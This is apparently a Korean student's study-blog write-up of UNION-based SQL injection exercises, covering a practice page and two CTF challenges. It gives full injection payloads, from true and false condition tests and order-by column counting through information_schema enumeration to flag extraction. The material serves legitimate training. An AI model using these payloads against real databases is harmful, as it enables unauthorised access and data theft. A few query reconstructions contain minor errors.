
2달차 2주차 과제는 다음 4가지와 같다.
- 복습 (SQL Injection: UNION Based)
- 실습 페이지에서 doldol 데이터만 출력하기
- CTF 문제 풀기
- 웹 개발
+로그인
+ 회원가입
+ 마이페이지
+ 게시판
1번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 2번 과제부터 정리하였다.
| (1) 실습 페이지는 다음과 같다. | (2) 비밀번호 1234 입력 |
|---|---|
![]() | ![]() |
| 파라미터로 비밀번호를 입력받는다. | 해당되는 비밀번호의 유저 정보가 출력된다. |
| (3) SQL 쿼리 추측 | (4) SQL Injection 취약점 확인 |
|---|---|
select * from (테이블) where pass='' | ![]() |
| and 1=1 (참조건)으로 값을 입력한 결과, 데이터가 출력되었다. 실행된 쿼리: select * from (테이블) where pass='1234' and '1'='1' 따라서 SQL Injection 취약점을 확인하였다. |
| (5) or 연산으로 모든 데이터 출력 | (6) 첫번째 행(doldol)의 데이터만 출력 |
|---|---|
![]() | ![]() |
| or 1=1 으로 값을 입력한 결과, 모든 데이터가 출력되었다. 실행된 쿼리: select * from (테이블) where pass='1234' or '1'='1' | limit 구문을 사용하여 나열된 4개의 행 중에서 첫번째만 출력되도록 하였다. 실행된 쿼리: select * from (테이블) where pass='1234' or '1'='1' limit 0,1 #' |
이렇게 첫번째 과제인 'doldol의 데이터만 출력' 과제가 완료되었다.
▷ 앞서 정리하였던 8단계의 절차를 따라 작성하였다.
| 주어진 문제는 다음과 같다. |
|---|
![]() |
1) SQL 쿼리 추측
▷ 파라미터를 넣어보며 SQL 쿼리를 추측한다.
| (1) CTF 페이지는 다음과 같다. |
|---|
![]() |
| (2) ID를 입력하면 정보가 출력된다. |
|---|
![]() |
위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.
select * from (테이블) where UserId = '아이디';
그런데, ID의 일부만 검색해도 똑같이 정보가 출력되는 것을 볼 수 있다.
| 'bell' 만 검색 |
|---|
![]() |
따라서 SQL 쿼리를 다시 추측해볼 수 있다.
select * from (테이블) where UserID like '%아이디%';
2) SQL Injection 취약점 확인
▷ 참조건 / 거짓조건을 추가하여 결과가 다른것을 확인함으로써, SQL Injection 취약점이 존재하는지 확인한다.
| and 1=1 (참조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID like '%bell%' and '1%'='1%' 쿼리 재구성: select * from (테이블) where (UserID like '%bell%') and ('1%'='1%') |
| and 1=2 (거짓 조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID like '%bell%' and '1%'='2%' 쿼리 재구성: select * from (테이블) where (UserID like '%bell%') and ('1%'='2%') |
참조건에서 bell%' and '1%'='1 이라는 ID가 들어가는 아이디는 존재하지 않음에도 불구하고 그 결과가 출력되며, 거짓조건으로 전달하게 되면 그 결과가 출력되지 않는다.
따라서 현재 AND 구문이 연산되고 있으며 즉, SQL Injection 취약점이 존재한다는 것을 확인할 수 있다.
3) 컬럼 개수 찾기
▷ UNION 구문을 사용하기 위해서는 선행되는 select 문과, 통합되는 select 문의 컬럼 개수가 일치해야 한다.
따라서 order by 구문을 통해 선행되는 select 절의 컬럼개수를 찾아낸다.
| order by 4 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID like '%bell%' order by 4 #%' 쿼리 재구성: select * from (테이블) where (UserID like '%bell%') order by 4 |
| order by 5 (5번째 인덱스의 컬럼을 기준으로 정렬) | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID like '%bell%' order by 5 #%' 쿼리 재구성: select * from (테이블) where (UserID like '%bell%') order by 5 |
order by 1~4 를 실행하였을때는 결과가 정상 출력되었고, order by 5부터는 오류가 발생하였다.
따라서 인덱스 5번째의 컬럼은 존재하지 않으며, 이를 통해 선행되는 select 절의 컬럼 개수가 4개인 것을 알 수 있다.
4) 데이터 출력위치 찾기
▷ UNION 연산을 통해 어떤 컬럼이 화면에 출력되는지 확인한다.
| UNION을 통해 데이터 추가 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where UserID like '%-%' union select 1, 2, 3, '4%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where (UserID like '%-%') union select 1, 2, 3, '4%' |
모든 컬럼의 자리가 페이지에 출력되며, 아무 곳에 원하는 데이터를 출력해주면 된다.
5) 데이터베이스 이름 찾기
▷ 결과 값이 보여지는 자리에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.
select database()
| 1번자리에 데이터베이스 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where UserID like '%-%' union select database(), 2, 3, '4%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where (UserID like '%-%') union select database(), 2, 3, '4%' |
이로써 1번 자리에 출력된 데이터베이스 이름 (sqli_1)을 찾아내었다.
6) 테이블 이름 찾기
▷ 결과 값이 보여지는 자리에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.
select table_name from information_schema.tables where table_schema='DB이름'
| 1번자리에 테이블 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select table_name, 2, 3, 4 from information_schema.tables where table_schema='sqli_1'#%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select table_name, 2, 3, 4 from (information_schema.tables) where (table_schema='sqli_1') |
이로써 1번 자리에 출력된 테이블 이름 (flag_table, user_info)을 찾아내었다.
7) 컬럼 이름 찾기
▷ 결과 값이 보여지는 자리에 컬럼 이름이 출력되도록 한다.
컬럼 이름을 출력하는 명령은 다음과 같다.
select column_name from information_schema.columns where table_name='테이블 이름'
| 1번자리에 컬럼 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select column_name, 2, 3, 4 from information_schema.columns where table_name='flag_table'#%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select column_name, 2, 3, 4 from (information_schema.columns) where (table_name='flag_table') |
이로써 1번 자리에 출력된 secret 테이블의 컬럼 이름 (flag)을 찾아내었다.
8) 데이터 추출
▷ 테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.
select (컬럼) from (테이블)
| 1번자리에 데이터 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select flag, 2, 3, 4 from flag_table #%' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select flag, 2, 3, 4 from flag_table |
이로써 1번 자리에 출력된 플래그를 찾아내었다.
| 주어진 문제는 다음과 같다. |
|---|
![]() |
1) SQL 쿼리 추측
▷ 파라미터를 넣어보며 SQL 쿼리를 추측한다.
| (1) CTF 페이지는 다음과 같다. |
|---|
![]() |
| (2) ID를 입력하면 정보가 출력된다. |
|---|
![]() |
위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.
select * from (테이블) where UserId = '아이디';
2) SQL Injection 취약점 확인
▷ 참조건 / 거짓조건을 추가하여 결과가 다른것을 확인함으로써, SQL Injection 취약점이 존재하는지 확인한다.
| and 1=1 (참조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' and '1'='1' 쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') and ('1'='1') |
| and 1=2 (거짓 조건) 으로 파라미터 전달 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' and '1'='2' 쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') and ('1'='2') |
참/거짓 조건을 통해 AND 구문이 연산되고 있다. 즉, SQL Injection 취약점이 존재한다는 것을 확인할 수 있다.
▶ 추가적으로 ID부분에는 입력값이 연산되지 않고, 바로 출력되고 있다.
따라서, ID 부분은 데이터 출력으로 활용할 수 없다고 판단할 수 있다.
3) 컬럼 개수 찾기
▷ UNION 구문을 사용하기 위해서는 선행되는 select 문과, 통합되는 select 문의 컬럼 개수가 일치해야 한다.
따라서 order by 구문을 통해 선행되는 select 절의 컬럼개수를 찾아낸다.
| order by 6 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' order by 6 #' 쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') order by 6 |
| order by 7 (7번째 인덱스의 컬럼을 기준으로 정렬) | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' order by 7 #' 쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') order by 7 |
order by 1~6 를 실행하였을때는 결과가 정상 출력되었고, order by 7부터는 오류가 발생하였다.
따라서 인덱스 7번째의 컬럼은 존재하지 않으며, 이를 통해 선행되는 select 절의 컬럼 개수가 6개인 것을 알 수 있다.
4) 데이터 출력위치 찾기
▷ 앞서 찾은 컬럼의 개수는 6개인데, 화면상에서는 4개의 컬럼(ID, Level, Rank Point, Info) 만이 보인다.
따라서 UNION 연산을 통해 어떤 컬럼이 화면에 출력되는지 확인한다.
| UNION을 통해 데이터 추가 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where UserId = 'normaltic' union select 1, 2, 3, 4, 5, '6' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where (UserId = 'normaltic') union select 1, 2, 3, 4, 5, '6' |
그런데 여전히 참조건이 완성되어 페이지에 결과는 출력이 되나, 출력값이 변하는 부분이 없었다.
따라서 normaltic 이 아닌, 다른 유저로 다시 데이터 위치를 출력해보았다.
| UserID를 없는 값으로 변경하여 시도 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where UserId = '-1' union select 1, 2, 3, 4, 5, 6#' 쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where (UserId = '-1') union select 1, 2, 3, 4, 5, 6 |
UserID가 존재하는 경우) Info에 미리 작성된 글이 출력되며, union 으로 통합한 부분은 보이지 않는다.
UserID가 존재하지 않는 경우) Info 부분에 union으로 통합한 부분 중 6 만이 출력되었다.
이 2가지 경우를 통해서 UserID가 없는 경우 통합한 select 절 하나만 출력된 것이고,
UserID가 존재한 경우 기존 데이터 + 통합된 데이터가 불러와지지만, 첫번째 행만 출력되도록 설정되어 기존 데이터만 출력된 것으로 추측해볼 수 있다.
또한 주석을 사용하였음에도 limit 처리가 여전히 적용되는 것을 보아, limit 절은 개행 등의 이유로 주석의 영향을 받지 않음을 추측해볼 수 있다.
따라서 앞서 추측한 쿼리를 다시 한번 추측해볼 수 있다.
select (컬럼1, ..., 컬럼 6) from (테이블) where UserID='아이디'
limit 0,1
페이지에는 오직 한 행만이 출력되므로 여러 테이블 값이나 컬럼을 모두 출력하기 위해서는, 공격자가 삽입하는 SQL 구문에 limit를 추가하여 첫번째 이후의 행을 일일히 선택해주어야 할 것으로 생각해볼 수 있다.
5) 데이터베이스 이름 찾기
▷ 결과 값이 보여지는 자리에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.
select database()
| 6번자리에 데이터베이스 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where UserID = '-1' union select 1, 2, 3, 4, 5, database()#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) where (UserID = '-1') union select 1, 2, 3, 4, 5, database() limit 0, 1 |
이로써 6번 자리에 출력된 데이터베이스 이름 (sqli_5)을 찾아내었다.
6) 테이블 이름 찾기
▷ 결과 값이 보여지는 자리에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.
select table_name from information_schema.tables where table_schema='DB이름'
| 6번자리에 테이블 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5') limit 0,1 |
이로써 6번 자리에 출력된 테이블 이름 (flag_honey)을 찾아내었다.
그러나, limit에 의해 출력되지 않은 추가적인 테이블이 있는지 확인해보았다.
| limit 1,1 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1, 1#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5' limit 1,1) limit 0,1 |
| limit 2,1 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 2, 1#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5' limit 2,1) limit 0,1 |
이렇게 limit 구문을 통해 다음행을 출력해본 결과, 2개의 추가적인 테이블(game_user, secret)을 알아냈다.
7) 컬럼 이름 찾기
▷ 결과 값이 보여지는 자리에 컬럼 이름이 출력되도록 한다.
컬럼 이름을 출력하는 명령은 다음과 같다.
select column_name from information_schema.columns where table_name='테이블 이름'
| 6번자리에 컬럼 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey'#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union 1, 2, 3, 4, 5, select column_name from (information_schema.columns) where (table_name='flag_honey') limit 0, 1 |
이로써 6번 자리에 출력된 flag_honey 테이블의 컬럼 이름 (flag)을 찾아내었다.
추가로, secret 테이블의 컬럼이름도 찾아보았다.
| 6번자리에 컬럼 이름 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='secret'#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union 1, 2, 3, 4, 5, select column_name from (information_schema.columns) where (table_name='secret') limit 0, 1 |
6번 자리에 출력된 secret 테이블의 컬럼 이름 (flag)를 찾아내었다.
8) 데이터 추출
▷ 테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.
select (컬럼) from (테이블)
| 6번자리에 데이터 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from flag_honey #' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from flag_honey limit 0, 1 |
그런데 플래그는 여기 없다는 Info 글이 출력되었다.
따라서 아까 추가로 찾은 secret 테이블의 flag 컬럼을 찾아보았다.
| 6번자리에 데이터 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from secret #' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from secret limit 0, 1 |
그런데 이번에도 플래그가 출력되지 않았다.
따라서 이번에도 limit 구문을 사용하여 첫번째 행 이후의 컬럼 데이터를 출력해보았다.
| 6번자리에 데이터 출력 | SQL 쿼리 |
|---|---|
![]() | 완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from secret limit 1, 1#' '\n' limit 0, 1 쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from secret (limit 1, 1) limit 0, 1 |
이로써 6번 자리에 출력된 플래그를 찾아내었다.
이렇게 두번째 과제인 'CTF 문제 풀기' 과제가 완료되었다.